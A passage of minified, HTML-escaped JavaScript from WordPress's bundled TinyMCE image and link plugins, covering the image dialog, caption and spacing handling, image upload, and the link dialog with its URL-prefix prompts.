4:e[&quot;margin-top&quot;]=e[&quot;margin-top&quot;]||t[0],e[&quot;margin-right&quot;]=e[&quot;margin-right&quot;]||t[1],e[&quot;margin-bottom&quot;]=e[&quot;margin-bottom&quot;]||t[2],e[&quot;margin-left&quot;]=e[&quot;margin-left&quot;]||t[3]}delete e.margin}return e},t=function(e,t){var n=c(e);&quot;string&quot;==typeof n?S.send({url:n,success:function(e){t(JSON.parse(e))}}):&quot;function&quot;==typeof n?n(t):t(n)},O=function(e,t,n){function r(){n.onload=n.onerror=null,e.selection&amp;&amp;(e.selection.select(n),e.nodeChanged())}n.onload=function(){t.width||t.height||!d(e)||e.dom.setAttribs(n,{width:n.clientWidth,height:n.clientHeight}),r()},n.onerror=r},L=function(r){return new w(function(e,t){var n=new(x.getOrDie(&quot;FileReader&quot;));n.onload=function(){e(n.result)},n.onerror=function(){t(n.error.message)},n.readAsDataURL(r)})},P=tinymce.util.Tools.resolve(&quot;tinymce.dom.DOMUtils&quot;),U=Object.prototype.hasOwnProperty,E=(i=function(e,t){return t},function(){for(var e=new Array(arguments.length),t=0;t&lt;e.length;t++)e[t]=arguments[t];if(0===e.length)throw new Error(&quot;Can&#039;t merge zero objects&quot;);for(var n={},r=0;r&lt;e.length;r++){var a=e[r];for(var o in a)U.call(a,o)&amp;&amp;(n[o]=i(n[o],a[o]))}return n}),k=P.DOM,M=function(e){return e.style.marginLeft&amp;&amp;e.style.marginRight&amp;&amp;e.style.marginLeft===e.style.marginRight?A(e.style.marginLeft):&quot;&quot;},D=function(e){return e.style.marginTop&amp;&amp;e.style.marginBottom&amp;&amp;e.style.marginTop===e.style.marginBottom?A(e.style.marginTop):&quot;&quot;},z=function(e){return e.style.borderWidth?A(e.style.borderWidth):&quot;&quot;},B=function(e,t){return e.hasAttribute(t)?e.getAttribute(t):&quot;&quot;},H=function(e,t){return e.style[t]?e.style[t]:&quot;&quot;},j=function(e){return null!==e.parentNode&amp;&amp;&quot;FIGURE&quot;===e.parentNode.nodeName},F=function(e,t,n){e.setAttribute(t,n)},W=function(e){var t,n,r,a;j(e)?(a=(r=e).parentNode,k.insertAfter(r,a),k.remove(a)):(t=e,n=k.create(&quot;figure&quot;,{&quot;class&quot;:&quot;image&quot;}),k.insertAfter(n,t),n.appendChild(t),n.appendChild(k.create(&quot;figcaption&quot;,{contentEditable:!0},&quot;Caption&quot;)),n.contentEditable=&quot;false&quot;)},J=function(e,t){var n=e.getAttribute(&quot;style&quot;),r=t(null!==n?n:&quot;&quot;);0&lt;r.length?(e.setAttribute(&quot;style&quot;,r),e.setAttribute(&quot;data-mce-style&quot;,r)):e.removeAttribute(&quot;style&quot;)},V=function(e,r){return function(e,t,n){e.style[t]?(e.style[t]=R(n),J(e,r)):F(e,t,n)}},G=function(e,t){return e.style[t]?A(e.style[t]):B(e,t)},$=function(e,t){var n=R(t);e.style.marginLeft=n,e.style.marginRight=n},X=function(e,t){var n=R(t);e.style.marginTop=n,e.style.marginBottom=n},q=function(e,t){var n=R(t);e.style.borderWidth=n},K=function(e,t){e.style.borderStyle=t},Q=function(e){return&quot;FIGURE&quot;===e.nodeName},Y=function(e,t){var n=l.document.createElement(&quot;img&quot;);return F(n,&quot;style&quot;,t.style),(M(n)||&quot;&quot;!==t.hspace)&amp;&amp;$(n,t.hspace),(D(n)||&quot;&quot;!==t.vspace)&amp;&amp;X(n,t.vspace),(z(n)||&quot;&quot;!==t.border)&amp;&amp;q(n,t.border),(H(n,&quot;borderStyle&quot;)||&quot;&quot;!==t.borderStyle)&amp;&amp;K(n,t.borderStyle),e(n.getAttribute(&quot;style&quot;))},Z=function(e,t){return{src:B(t,&quot;src&quot;),alt:B(t,&quot;alt&quot;),title:B(t,&quot;title&quot;),width:G(t,&quot;width&quot;),height:G(t,&quot;height&quot;),&quot;class&quot;:B(t,&quot;class&quot;),style:e(B(t,&quot;style&quot;)),caption:j(t),hspace:M(t),vspace:D(t),border:z(t),borderStyle:H(t,&quot;borderStyle&quot;)}},ee=function(e,t,n,r,a){n[r]!==t[r]&amp;&amp;a(e,r,n[r])},te=function(r,a){return function(e,t,n){r(e,n),J(e,a)}},ne=function(e,t,n){var r=Z(e,n);ee(n,r,t,&quot;caption&quot;,function(e,t,n){return W(e)}),ee(n,r,t,&quot;src&quot;,F),ee(n,r,t,&quot;alt&quot;,F),ee(n,r,t,&quot;title&quot;,F),ee(n,r,t,&quot;width&quot;,V(0,e)),ee(n,r,t,&quot;height&quot;,V(0,e)),ee(n,r,t,&quot;class&quot;,F),ee(n,r,t,&quot;style&quot;,te(function(e,t){return F(e,&quot;style&quot;,t)},e)),ee(n,r,t,&quot;hspace&quot;,te($,e)),ee(n,r,t,&quot;vspace&quot;,te(X,e)),ee(n,r,t,&quot;border&quot;,te(q,e)),ee(n,r,t,&quot;borderStyle&quot;,te(K,e))},re=function(e,t){var n=e.dom.styles.parse(t),r=I(n),a=e.dom.styles.parse(e.dom.styles.serialize(r));return e.dom.styles.serialize(a)},ae=function(e){var t=e.selection.getNode(),n=e.dom.getParent(t,&quot;figure.image&quot;);return n?e.dom.select(&quot;img&quot;,n)[0]:t&amp;&amp;(&quot;IMG&quot;!==t.nodeName||t.getAttribute(&quot;data-mce-object&quot;)||t.getAttribute(&quot;data-mce-placeholder&quot;))?null:t},oe=function(t,e){var n=t.dom,r=n.getParent(e.parentNode,function(e){return t.schema.getTextBlockElements()[e.nodeName]},t.getBody());return r?n.split(r,e):e},ie=function(t){var e=ae(t);return e?Z(function(e){return re(t,e)},e):{src:&quot;&quot;,alt:&quot;&quot;,title:&quot;&quot;,width:&quot;&quot;,height:&quot;&quot;,&quot;class&quot;:&quot;&quot;,style:&quot;&quot;,caption:!1,hspace:&quot;&quot;,vspace:&quot;&quot;,border:&quot;&quot;,borderStyle:&quot;&quot;}},le=function(t,e){var n=function(e,t){var n=l.document.createElement(&quot;img&quot;);if(ne(e,E(t,{caption:!1}),n),F(n,&quot;alt&quot;,t.alt),t.caption){var r=k.create(&quot;figure&quot;,{&quot;class&quot;:&quot;image&quot;});return r.appendChild(n),r.appendChild(k.create(&quot;figcaption&quot;,{contentEditable:!0},&quot;Caption&quot;)),r.contentEditable=&quot;false&quot;,r}return n}(function(e){return re(t,e)},e);t.dom.setAttrib(n,&quot;data-mce-id&quot;,&quot;__mcenew&quot;),t.focus(),t.selection.setContent(n.outerHTML);var r=t.dom.select(&#039;*[data-mce-id=&quot;__mcenew&quot;]&#039;)[0];if(t.dom.setAttrib(r,&quot;data-mce-id&quot;,null),Q(r)){var a=oe(t,r);t.selection.select(a)}else t.selection.select(r)},ue=function(e,t){var n=ae(e);n?t.src?function(t,e){var n,r=ae(t);if(ne(function(e){return re(t,e)},e,r),n=r,t.dom.setAttrib(n,&quot;src&quot;,n.getAttribute(&quot;src&quot;)),Q(r.parentNode)){var a=r.parentNode;oe(t,a),t.selection.select(r.parentNode)}else t.selection.select(r),O(t,e,r)}(e,t):function(e,t){if(t){var n=e.dom.is(t.parentNode,&quot;figure.image&quot;)?t.parentNode:t;e.dom.remove(n),e.focus(),e.nodeChanged(),e.dom.isEmpty(e.getBody())&amp;&amp;(e.setContent(&quot;&quot;),e.selection.setCursorLocation())}}(e,n):t.src&amp;&amp;le(e,t)},ce=function(n,r){r.find(&quot;#style&quot;).each(function(e){var t=Y(function(e){return re(n,e)},E({src:&quot;&quot;,alt:&quot;&quot;,title:&quot;&quot;,width:&quot;&quot;,height:&quot;&quot;,&quot;class&quot;:&quot;&quot;,style:&quot;&quot;,caption:!1,hspace:&quot;&quot;,vspace:&quot;&quot;,border:&quot;&quot;,borderStyle:&quot;&quot;},r.toJSON()));e.value(t)})},se=function(t){return{title:&quot;Advanced&quot;,type:&quot;form&quot;,pack:&quot;start&quot;,items:[{label:&quot;Style&quot;,name:&quot;style&quot;,type:&quot;textbox&quot;,onchange:(o=t,function(e){var t=o.dom,n=e.control.rootControl;if(u(o)){var r=n.toJSON(),a=t.parseStyle(r.style);n.find(&quot;#vspace&quot;).value(&quot;&quot;),n.find(&quot;#hspace&quot;).value(&quot;&quot;),((a=I(a))[&quot;margin-top&quot;]&amp;&amp;a[&quot;margin-bottom&quot;]||a[&quot;margin-right&quot;]&amp;&amp;a[&quot;margin-left&quot;])&amp;&amp;(a[&quot;margin-top&quot;]===a[&quot;margin-bottom&quot;]?n.find(&quot;#vspace&quot;).value(A(a[&quot;margin-top&quot;])):n.find(&quot;#vspace&quot;).value(&quot;&quot;),a[&quot;margin-right&quot;]===a[&quot;margin-left&quot;]?n.find(&quot;#hspace&quot;).value(A(a[&quot;margin-right&quot;])):n.find(&quot;#hspace&quot;).value(&quot;&quot;)),a[&quot;border-width&quot;]?n.find(&quot;#border&quot;).value(A(a[&quot;border-width&quot;])):n.find(&quot;#border&quot;).value(&quot;&quot;),a[&quot;border-style&quot;]?n.find(&quot;#borderStyle&quot;).value(a[&quot;border-style&quot;]):n.find(&quot;#borderStyle&quot;).value(&quot;&quot;),n.find(&quot;#style&quot;).value(t.serializeStyle(t.parseStyle(t.serializeStyle(a))))}})},{type:&quot;form&quot;,layout:&quot;grid&quot;,packV:&quot;start&quot;,columns:2,padding:0,defaults:{type:&quot;textbox&quot;,maxWidth:50,onchange:function(e){ce(t,e.control.rootControl)}},items:[{label:&quot;Vertical space&quot;,name:&quot;vspace&quot;},{label:&quot;Border width&quot;,name:&quot;border&quot;},{label:&quot;Horizontal space&quot;,name:&quot;hspace&quot;},{label:&quot;Border style&quot;,type:&quot;listbox&quot;,name:&quot;borderStyle&quot;,width:90,maxWidth:90,onselect:function(e){ce(t,e.control.rootControl)},values:[{text:&quot;Select...&quot;,value:&quot;&quot;},{text:&quot;Solid&quot;,value:&quot;solid&quot;},{text:&quot;Dotted&quot;,value:&quot;dotted&quot;},{text:&quot;Dashed&quot;,value:&quot;dashed&quot;},{text:&quot;Double&quot;,value:&quot;double&quot;},{text:&quot;Groove&quot;,value:&quot;groove&quot;},{text:&quot;Ridge&quot;,value:&quot;ridge&quot;},{text:&quot;Inset&quot;,value:&quot;inset&quot;},{text:&quot;Outset&quot;,value:&quot;outset&quot;},{text:&quot;None&quot;,value:&quot;none&quot;},{text:&quot;Hidden&quot;,value:&quot;hidden&quot;}]}]}]};var o},de=function(e,t){e.state.set(&quot;oldVal&quot;,e.value()),t.state.set(&quot;oldVal&quot;,t.value())},me=function(e,t){var n=e.find(&quot;#width&quot;)[0],r=e.find(&quot;#height&quot;)[0],a=e.find(&quot;#constrain&quot;)[0];n&amp;&amp;r&amp;&amp;a&amp;&amp;t(n,r,a.checked())},ge=function(e,t,n){var r=e.state.get(&quot;oldVal&quot;),a=t.state.get(&quot;oldVal&quot;),o=e.value(),i=t.value();n&amp;&amp;r&amp;&amp;a&amp;&amp;o&amp;&amp;i&amp;&amp;(o!==r?(i=Math.round(o/r*i),isNaN(i)||t.value(i)):(o=Math.round(i/a*o),isNaN(o)||e.value(o))),de(e,t)},fe=function(e){me(e,ge)},pe=function(){var e=function(e){fe(e.control.rootControl)};return{type:&quot;container&quot;,label:&quot;Dimensions&quot;,layout:&quot;flex&quot;,align:&quot;center&quot;,spacing:5,items:[{name:&quot;width&quot;,type:&quot;textbox&quot;,maxLength:5,size:5,onchange:e,ariaLabel:&quot;Width&quot;},{type:&quot;label&quot;,text:&quot;x&quot;},{name:&quot;height&quot;,type:&quot;textbox&quot;,maxLength:5,size:5,onchange:e,ariaLabel:&quot;Height&quot;},{name:&quot;constrain&quot;,type:&quot;checkbox&quot;,checked:!0,text:&quot;Constrain proportions&quot;}]}},he=function(e){me(e,de)},ve=fe,be=function(e){e.meta=e.control.rootControl.toJSON()},ye=function(s,e){var t=[{name:&quot;src&quot;,type:&quot;filepicker&quot;,filetype:&quot;image&quot;,label:&quot;Source&quot;,autofocus:!0,onchange:function(e){var t,n,r,a,o,i,l,u,c;n=s,i=(t=e).meta||{},l=t.control,u=l.rootControl,(c=u.find(&quot;#image-list&quot;)[0])&amp;&amp;c.value(n.convertURL(l.value(),&quot;src&quot;)),C.each(i,function(e,t){u.find(&quot;#&quot;+t).value(e)}),i.width||i.height||(r=n.convertURL(l.value(),&quot;src&quot;),a=m(n),o=new RegExp(&quot;^(?:[a-z]+:)?//&quot;,&quot;i&quot;),a&amp;&amp;!o.test(r)&amp;&amp;r.substring(0,a.length)!==a&amp;&amp;(r=a+r),l.value(r),_(n.documentBaseURI.toAbsolute(l.value()),function(e){e.width&amp;&amp;e.height&amp;&amp;d(n)&amp;&amp;(u.find(&quot;#width&quot;).value(e.width),u.find(&quot;#height&quot;).value(e.height),he(u))}))},onbeforecall:be},e];return r(s)&amp;&amp;t.push({name:&quot;alt&quot;,type:&quot;textbox&quot;,label:&quot;Image description&quot;}),a(s)&amp;&amp;t.push({name:&quot;title&quot;,type:&quot;textbox&quot;,label:&quot;Image Title&quot;}),d(s)&amp;&amp;t.push(pe()),n(s)&amp;&amp;t.push({name:&quot;class&quot;,type:&quot;listbox&quot;,label:&quot;Class&quot;,values:T(n(s),function(e){e.value&amp;&amp;(e.textStyle=function(){return s.formatter.getCssText({inline:&quot;img&quot;,classes:[e.value]})})})}),o(s)&amp;&amp;t.push({name:&quot;caption&quot;,type:&quot;checkbox&quot;,label:&quot;Caption&quot;}),t},xe=function(e,t){return{title:&quot;General&quot;,type:&quot;form&quot;,items:ye(e,t)}},we=ye,Ce=function(){return x.getOrDie(&quot;URL&quot;)},Se=function(e){return Ce().createObjectURL(e)},Ne=function(e){Ce().revokeObjectURL(e)},_e=tinymce.util.Tools.resolve(&quot;tinymce.ui.Factory&quot;),Te=function(){};function Ae(i){var t=function(e,r,a,t){var o,n;(o=new(x.getOrDie(&quot;XMLHttpRequest&quot;))).open(&quot;POST&quot;,i.url),o.withCredentials=i.credentials,o.upload.onprogress=function(e){t(e.loaded/e.total*100)},o.onerror=function(){a(&quot;Image upload failed due to a XHR Transport error. Code: &quot;+o.status)},o.onload=function(){var e,t,n;o.status&lt;200||300&lt;=o.status?a(&quot;HTTP Error: &quot;+o.status):(e=JSON.parse(o.responseText))&amp;&amp;&quot;string&quot;==typeof e.location?r((t=i.basePath,n=e.location,t?t.replace(/\/$/,&quot;&quot;)+&quot;/&quot;+n.replace(/^\//,&quot;&quot;):n)):a(&quot;Invalid JSON: &quot;+o.responseText)},(n=new l.FormData).append(&quot;file&quot;,e.blob(),e.filename()),o.send(n)};return i=C.extend({credentials:!1,handler:t},i),{upload:function(e){return i.url||i.handler!==t?(r=e,a=i.handler,new w(function(e,t){try{a(r,e,t,Te)}catch(n){t(n.message)}})):w.reject(&quot;Upload url missing from the settings.&quot;);var r,a}}}var Re=function(u){return function(e){var t=_e.get(&quot;Throbber&quot;),n=e.control.rootControl,r=new t(n.getEl()),a=e.control.value(),o=Se(a),i=Ae({url:f(u),basePath:h(u),credentials:v(u),handler:p(u)}),l=function(){r.hide(),Ne(o)};return r.show(),L(a).then(function(e){var t=u.editorUpload.blobCache.create({blob:a,blobUri:o,name:a.name?a.name.replace(/\.[^\.]+$/,&quot;&quot;):null,base64:e.split(&quot;,&quot;)[1]});return i.upload(t).then(function(e){var t=n.find(&quot;#src&quot;);return t.value(e),n.find(&quot;tabpanel&quot;)[0].activateTab(0),t.fire(&quot;change&quot;),l(),e})})[&quot;catch&quot;](function(e){u.windowManager.alert(e),l()})}},Ie=&quot;.jpg,.jpeg,.png,.gif&quot;,Oe=function(e){return{title:&quot;Upload&quot;,type:&quot;form&quot;,layout:&quot;flex&quot;,direction:&quot;column&quot;,align:&quot;stretch&quot;,padding:&quot;20 20 20 20&quot;,items:[{type:&quot;container&quot;,layout:&quot;flex&quot;,direction:&quot;column&quot;,align:&quot;center&quot;,spacing:10,items:[{text:&quot;Browse for an image&quot;,type:&quot;browsebutton&quot;,accept:Ie,onchange:Re(e)},{text:&quot;OR&quot;,type:&quot;label&quot;}]},{text:&quot;Drop an image here&quot;,type:&quot;dropzone&quot;,accept:Ie,height:100,onchange:Re(e)}]}};function Le(r){for(var a=[],e=1;e&lt;arguments.length;e++)a[e-1]=arguments[e];return function(){for(var e=[],t=0;t&lt;arguments.length;t++)e[t]=arguments[t];var n=a.concat(e);return r.apply(null,n)}}var Pe=function(t,e){var n=e.control.getRoot();ve(n),t.undoManager.transact(function(){var e=E(ie(t),n.toJSON());ue(t,e)}),t.editorUpload.uploadImagesAuto()};function Ue(o){function e(e){var n,t,r=ie(o);if(e&amp;&amp;(t={type:&quot;listbox&quot;,label:&quot;Image list&quot;,name:&quot;image-list&quot;,values:T(e,function(e){e.value=o.convertURL(e.value||e.url,&quot;src&quot;)},[{text:&quot;None&quot;,value:&quot;&quot;}]),value:r.src&amp;&amp;o.convertURL(r.src,&quot;src&quot;),onselect:function(e){var t=n.find(&quot;#alt&quot;);(!t.value()||e.lastControl&amp;&amp;t.value()===e.lastControl.text())&amp;&amp;t.value(e.control.text()),n.find(&quot;#src&quot;).value(e.control.value()).fire(&quot;change&quot;)},onPostRender:function(){t=this}}),u(o)||s(o)||g(o)){var a=[xe(o,t)];u(o)&amp;&amp;a.push(se(o)),(s(o)||g(o))&amp;&amp;a.push(Oe(o)),n=o.windowManager.open({title:&quot;Insert/edit image&quot;,data:r,bodyType:&quot;tabpanel&quot;,body:a,onSubmit:Le(Pe,o)})}else n=o.windowManager.open({title:&quot;Insert/edit image&quot;,data:r,body:we(o,t),onSubmit:Le(Pe,o)});he(n)}return{open:function(){t(o,e)}}}var Ee=function(e){e.addCommand(&quot;mceImage&quot;,Ue(e).open)},ke=function(o){return function(e){for(var t,n,r=e.length,a=function(e){e.attr(&quot;contenteditable&quot;,o?&quot;true&quot;:null)};r--;)t=e[r],(n=t.attr(&quot;class&quot;))&amp;&amp;/\bimage\b/.test(n)&amp;&amp;(t.attr(&quot;contenteditable&quot;,o?&quot;false&quot;:null),C.each(t.getAll(&quot;figcaption&quot;),a))}},Me=function(e){e.on(&quot;preInit&quot;,function(){e.parser.addNodeFilter(&quot;figure&quot;,ke(!0)),e.serializer.addNodeFilter(&quot;figure&quot;,ke(!1))})},De=function(e){e.addButton(&quot;image&quot;,{icon:&quot;image&quot;,tooltip:&quot;Insert/edit image&quot;,onclick:Ue(e).open,stateSelector:&quot;img:not([data-mce-object],[data-mce-placeholder]),figure.image&quot;}),e.addMenuItem(&quot;image&quot;,{icon:&quot;image&quot;,text:&quot;Image&quot;,onclick:Ue(e).open,context:&quot;insert&quot;,prependToContext:!0})};e.add(&quot;image&quot;,function(e){Me(e),De(e),Ee(e)})}(window);
// Source: wp-includes/js/tinymce/plugins/link/plugin.min.js
!function(l){&quot;use strict&quot;;var t=tinymce.util.Tools.resolve(&quot;tinymce.PluginManager&quot;),n=tinymce.util.Tools.resolve(&quot;tinymce.util.VK&quot;),e=function(t){return t.target_list},o=function(t){return t.rel_list},i=function(t){return t.link_class_list},p=function(t){return&quot;boolean&quot;==typeof t.link_assume_external_targets&amp;&amp;t.link_assume_external_targets},a=function(t){return&quot;boolean&quot;==typeof t.link_context_toolbar&amp;&amp;t.link_context_toolbar},r=function(t){return t.link_list},k=function(t){return&quot;string&quot;==typeof t.default_link_target},y=function(t){return t.default_link_target},b=e,_=function(t,e){t.settings.target_list=e},w=function(t){return!1!==e(t)},T=o,C=function(t){return o(t)!==undefined},M=i,O=function(t){return i(t)!==undefined},R=function(t){return!1!==t.link_title},N=function(t){return&quot;boolean&quot;==typeof t.allow_unsafe_link_target&amp;&amp;t.allow_unsafe_link_target},u=tinymce.util.Tools.resolve(&quot;tinymce.dom.DOMUtils&quot;),c=tinymce.util.Tools.resolve(&quot;tinymce.Env&quot;),s=function(t){if(!c.ie||10&lt;c.ie){var e=l.document.createElement(&quot;a&quot;);e.target=&quot;_blank&quot;,e.href=t,e.rel=&quot;noreferrer noopener&quot;;var n=l.document.createEvent(&quot;MouseEvents&quot;);n.initMouseEvent(&quot;click&quot;,!0,!0,l.window,0,0,0,0,0,!1,!1,!1,!1,0,null),r=e,a=n,l.document.body.appendChild(r),r.dispatchEvent(a),l.document.body.removeChild(r)}else{var o=l.window.open(&quot;&quot;,&quot;_blank&quot;);if(o){o.opener=null;var i=o.document;i.open(),i.write(&#039;&lt;meta http-equiv=&quot;refresh&quot; content=&quot;0; url=&#039;+u.DOM.encode(t)+&#039;&quot;&gt;&#039;),i.close()}}var r,a},A=tinymce.util.Tools.resolve(&quot;tinymce.util.Tools&quot;),f=function(t,e){var n,o,i=[&quot;noopener&quot;],r=t?t.split(/\s+/):[],a=function(t){return t.filter(function(t){return-1===A.inArray(i,t)})};return(r=e?(n=a(n=r)).length?n.concat(i):i:a(r)).length?(o=r,A.trim(o.sort().join(&quot; &quot;))):null},d=function(t,e){return e=e||t.selection.getNode(),v(e)?t.dom.select(&quot;a[href]&quot;,e)[0]:t.dom.getParent(e,&quot;a[href]&quot;)},m=function(t){return t&amp;&amp;&quot;A&quot;===t.nodeName&amp;&amp;t.href},v=function(t){return t&amp;&amp;&quot;FIGURE&quot;===t.nodeName&amp;&amp;/\bimage\b/i.test(t.className)},g=function(t,e){var n,o;(o=t.dom.select(&quot;img&quot;,e)[0])&amp;&amp;(n=t.dom.getParents(o,&quot;a[href]&quot;,e)[0])&amp;&amp;(n.parentNode.insertBefore(o,n),t.dom.remove(n))},h=function(t,e,n){var o,i;(i=t.dom.select(&quot;img&quot;,e)[0])&amp;&amp;(o=t.dom.create(&quot;a&quot;,n),i.parentNode.insertBefore(o,i),o.appendChild(i))},L=function(i,r){return function(o){i.undoManager.transact(function(){var t=i.selection.getNode(),e=d(i,t),n={href:o.href,target:o.target?o.target:null,rel:o.rel?o.rel:null,&quot;class&quot;:o[&quot;class&quot;]?o[&quot;class&quot;]:null,title:o.title?o.title:null};C(i.settings)||!1!==N(i.settings)||(n.rel=f(n.rel,&quot;_blank&quot;===n.target)),o.href===r.href&amp;&amp;(r.attach(),r={}),e?(i.focus(),o.hasOwnProperty(&quot;text&quot;)&amp;&amp;(&quot;innerText&quot;in e?e.innerText=o.text:e.textContent=o.text),i.dom.setAttribs(e,n),i.selection.select(e),i.undoManager.add()):v(t)?h(i,t,n):o.hasOwnProperty(&quot;text&quot;)?i.insertContent(i.dom.createHTML(&quot;a&quot;,n,i.dom.encode(o.text))):i.execCommand(&quot;mceInsertLink&quot;,!1,n)})}},P=function(e){return function(){e.undoManager.transact(function(){var t=e.selection.getNode();v(t)?g(e,t):e.execCommand(&quot;unlink&quot;)})}},x=m,E=function(t){return 0&lt;A.grep(t,m).length},S=function(t){return!(/&lt;/.test(t)&amp;&amp;(!/^&lt;a [^&gt;]+&gt;[^&lt;]+&lt;\/a&gt;$/.test(t)||-1===t.indexOf(&quot;href=&quot;)))},I=d,K=function(t,e){var n=e?e.innerText||e.textContent:t.getContent({format:&quot;text&quot;});return n.replace(/\uFEFF/g,&quot;&quot;)},U=f,D=tinymce.util.Tools.resolve(&quot;tinymce.util.Delay&quot;),B=tinymce.util.Tools.resolve(&quot;tinymce.util.XHR&quot;),F={},q=function(t,o,e){var i=function(t,n){return n=n||[],A.each(t,function(t){var e={text:t.text||t.title};t.menu?e.menu=i(t.menu):(e.value=t.value,o&amp;&amp;o(e)),n.push(e)}),n};return i(t,e||[])},V=function(e,t,n){var o=e.selection.getRng();D.setEditorTimeout(e,function(){e.windowManager.confirm(t,function(t){e.selection.setRng(o),n(t)})})},z=function(a,t){var e,l,o,u,n,i,r,c,s,f,d,m={},v=a.selection,g=a.dom,h=function(t){var e=o.find(&quot;#text&quot;);(!e.value()||t.lastControl&amp;&amp;e.value()===t.lastControl.text())&amp;&amp;e.value(t.control.text()),o.find(&quot;#href&quot;).value(t.control.value())},x=function(){l||!u||m.text||this.parent().parent().find(&quot;#text&quot;)[0].value(this.value())};u=S(v.getContent()),e=I(a),m.text=l=K(a.selection,e),m.href=e?g.getAttrib(e,&quot;href&quot;):&quot;&quot;,e?m.target=g.getAttrib(e,&quot;target&quot;):k(a.settings)&amp;&amp;(m.target=y(a.settings)),(d=g.getAttrib(e,&quot;rel&quot;))&amp;&amp;(m.rel=d),(d=g.getAttrib(e,&quot;class&quot;))&amp;&amp;(m[&quot;class&quot;]=d),(d=g.getAttrib(e,&quot;title&quot;))&amp;&amp;(m.title=d),u&amp;&amp;(n={name:&quot;text&quot;,type:&quot;textbox&quot;,size:40,label:&quot;Text to display&quot;,onchange:function(){m.text=this.value()}}),t&amp;&amp;(i={type:&quot;listbox&quot;,label:&quot;Link list&quot;,values:q(t,function(t){t.value=a.convertURL(t.value||t.url,&quot;href&quot;)},[{text:&quot;None&quot;,value:&quot;&quot;}]),onselect:h,value:a.convertURL(m.href,&quot;href&quot;),onPostRender:function(){i=this}}),w(a.settings)&amp;&amp;(b(a.settings)===undefined&amp;&amp;_(a,[{text:&quot;None&quot;,value:&quot;&quot;},{text:&quot;New window&quot;,value:&quot;_blank&quot;}]),c={name:&quot;target&quot;,type:&quot;listbox&quot;,label:&quot;Target&quot;,values:q(b(a.settings))}),C(a.settings)&amp;&amp;(r={name:&quot;rel&quot;,type:&quot;listbox&quot;,label:&quot;Rel&quot;,values:q(T(a.settings),function(t){!1===N(a.settings)&amp;&amp;(t.value=U(t.value,&quot;_blank&quot;===m.target))})}),O(a.settings)&amp;&amp;(s={name:&quot;class&quot;,type:&quot;listbox&quot;,label:&quot;Class&quot;,values:q(M(a.settings),function(t){t.value&amp;&amp;(t.textStyle=function(){return a.formatter.getCssText({inline:&quot;a&quot;,classes:[t.value]})})})}),R(a.settings)&amp;&amp;(f={name:&quot;title&quot;,type:&quot;textbox&quot;,label:&quot;Title&quot;,value:m.title}),o=a.windowManager.open({title:&quot;Insert link&quot;,data:m,body:[{name:&quot;href&quot;,type:&quot;filepicker&quot;,filetype:&quot;file&quot;,size:40,autofocus:!0,label:&quot;Url&quot;,onchange:function(t){var e=t.meta||{};i&amp;&amp;i.value(a.convertURL(this.value(),&quot;href&quot;)),A.each(t.meta,function(t,e){var n=o.find(&quot;#&quot;+e);&quot;text&quot;===e?0===l.length&amp;&amp;(n.value(t),m.text=t):n.value(t)}),e.attach&amp;&amp;(F={href:this.value(),attach:e.attach}),e.text||x.call(this)},onkeyup:x,onpaste:x,onbeforecall:function(t){t.meta=o.toJSON()}},n,f,function(n){var o=[];if(A.each(a.dom.select(&quot;a:not([href])&quot;),function(t){var e=t.name||t.id;e&amp;&amp;o.push({text:e,value:&quot;#&quot;+e,selected:-1!==n.indexOf(&quot;#&quot;+e)})}),o.length)return o.unshift({text:&quot;None&quot;,value:&quot;&quot;}),{name:&quot;anchor&quot;,type:&quot;listbox&quot;,label:&quot;Anchors&quot;,values:o,onselect:h}}(m.href),i,r,c,s],onSubmit:function(t){var e=p(a.settings),n=L(a,F),o=P(a),i=A.extend({},m,t.data),r=i.href;r?(u&amp;&amp;i.text!==l||delete i.text,0&lt;r.indexOf(&quot;@&quot;)&amp;&amp;-1===r.indexOf(&quot;//&quot;)&amp;&amp;-1===r.indexOf(&quot;mailto:&quot;)?V(a,&quot;The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?&quot;,function(t){t&amp;&amp;(i.href=&quot;mailto:&quot;+r),n(i)}):!0===e&amp;&amp;!/^\w+:/i.test(r)||!1===e&amp;&amp;/^\s*www[\.|\d\.]/i.test(r)?V(a,&quot;The URL you entered seems to be an external link. Do you want to add the required http:// prefix?&quot;,function(t){t&amp;&amp;(i.href=&quot;http://&quot;+r),n(i)}):n(i)):o()}})},H=function(t){var e,n,o;n=z,&quot;string&quot;==typeof(o=r((e=t).settings))?B.send({url:o,success:function(t){n(e,JSON.parse(t))}}):&quot;function&quot;==typeof o?o(function(t){n(e,t)}):n(e,o)},J=function(t,e){return t.dom.getParent(e,&quot;a[href]&quot;)},$=function(t){return J(t,t.selection.getStart())},j=function(t,e){if(e){var n=(i=e).getAttribute(&quot;data-mce-href&quot;)||i.getAttribute(&quot;href&quot;);if(/^#/.test(n)){var o=t.$(n);o.length&amp;&amp;t.selection.scrollIntoView(o[0],!0)}else s(e.href)}var i},G=function(t){return function(){H(t)}},X=function(t){return function(){j(t,$(t))}},Q=function(r){return function(t){var e,n,o,i;return!!(a(r.settings)&amp;&amp;(!(i=r.plugins.contextmenu)||!i.isContextMenuVisible())&amp;&amp;x(t)&amp;&amp;3===(o=(n=(e=r.selection).getRng()).startContainer).nodeType&amp;&amp;e.isCollapsed()&amp;&amp;0&lt;n.startOffset&amp;&amp;n.startOffset&lt;o.data.length)}},W=function(o){o.on(&quot;click&quot;,function(t){var e=J(o,t.target);e&amp;&amp;n.metaKeyPressed(t)&amp;&amp;(t.preventDefault(),j(o,e))}),o.on(&quot;keydown&quot;,function(t){var e,n=$(o);n&amp;&amp;13===t.keyCode&amp;&amp;!0===(e=t).altKey&amp;&amp;!1===e.shiftKey&amp;&amp;!1===e.ctrlKey&amp;&amp;!1===e.metaKey&amp;&amp;(t.preventDefault(),j(o,n))})},Y=function(n){return function(){var e=this;n.on(&quot;nodechange&quot;,function(t){e.active(!n.readonly&amp;&amp;!!I(n,t.element))})}},Z=function(n){return function(){var e=this,t=function(t){E(t.parents)?e.show():e.hide()};E(n.dom.getParents(n.selection.getStart()))||e.hide(),n.on(&quot;nodechange&quot;,t),e.on(&quot;remove&quot;,function(){n.off(&quot;nodechange&quot;,t)})}},tt=function(t){t.addCommand(&quot;mceLink&quot;,G(t))},et=function(t){t.addShortcut(&quot;Meta+K&quot;,&quot;&quot;,G(t))},nt=function(t){t.addButton(&quot;link&quot;,{active:!1,icon:&quot;link&quot;,tooltip:&quot;Insert/edit link&quot;,onclick:G(t),onpostrender:Y(t)}),t.addButton(&quot;unlink&quot;,{active:!1,icon:&quot;unlink&quot;,tooltip:&quot;Remove 